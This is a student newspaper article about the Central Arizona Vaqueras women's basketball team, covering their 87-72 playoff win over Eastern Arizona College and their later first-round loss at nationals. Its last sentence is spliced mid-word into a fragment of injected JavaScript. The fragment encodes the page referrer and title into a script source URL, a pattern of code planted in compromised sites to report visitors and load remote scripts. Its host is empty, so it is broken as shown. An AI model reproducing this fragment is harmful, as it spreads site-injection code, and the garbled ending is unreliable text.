Vaqueras Make Nationals

Alysha Terry, Cactus Contributor

Feb. 6 was a big night for our Central Arizona Vaqueras. It was the night of the big playoff game against Eastern Arizona College. This game would be the deciding factor on whether or not they went to nationals. The stands were packed, mostly with fearless Eastern fans who were there ready to yell. The color purple made up nearly ¾ of the attendees. Unfortunately, the Vaqueras’ biggest and loudest fan section (the track athletes) was absent due to other athletic obligations. Several members from the men’s basketball team were present to shoe their support for their female counterparts, and made up for much of the Central Arizona College cheering.

The game started off slow for the Vaqueras, who were trailing Eastern by several points. Eastern seemed to be feeding off of the momentum of the crowd, whose cheers turned deafening over even the smallest of plays. “They came into our house with intentions to get into our heads and throw us off our game,” commented starting Guard/Forward Mauriana Clayton on the Eastern crowd and if it affected their play. “But for me personally, it wasn’t intimidating at all. I’ve played in front of way larger and crazier crowds.” The game started picking up for the Vaqueras with 10 minutes left during the first half. “We knew we could bounce back. We got back into the game by forcing Eastern to turn over the ball a lot and capitalizing on extra possessions,” Guard Megan Crenshaw mentioned post game.

By halftime the women were up 50-39. However, this gap did not deter the Eastern ladies, and they continued to play their hardest, even catching up to a one-point deficit during the second half. It was a well-played game by both teams, but Central Arizona College took home the win, ending the game 87-72. Both Kandice Barber and Rodericka Ware played phenomenally for the Vaqueras. Barber led the team by scoring a total of 27 points, 12 of which were made off 3-pointers. Ware was right behind her with 24 points. Most of Central’s points came from inside the paint. When asked about the win, Mauriana Clayton had this to say, “We were very excited! It felt like a weight off our shoulders to be able to shut down all the haters that doubted us since the beginning when our season wasn’t looking so good. We were brought closer as a team in that moment.”

Unfortunately after traveling all the way to Salina, Kansas the women suffered a loss during the first round of nationals. However, this loss does not define them as a team. Despite the doubts of many, our Central Arizona Vaqueras pulled together to prove themselves a strong team, worthy of praise. Despite their shaky start and losing players throughout the season they made it all the way to nationals. That in itself is an accomplishment and we should applaud them. A very good luck to all our women who are moving on from CAC, may your futures be filled with happiness and success. And to all our women who are continuing on to next season, very good luck as well. I hope next season is as exciting as this one was.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;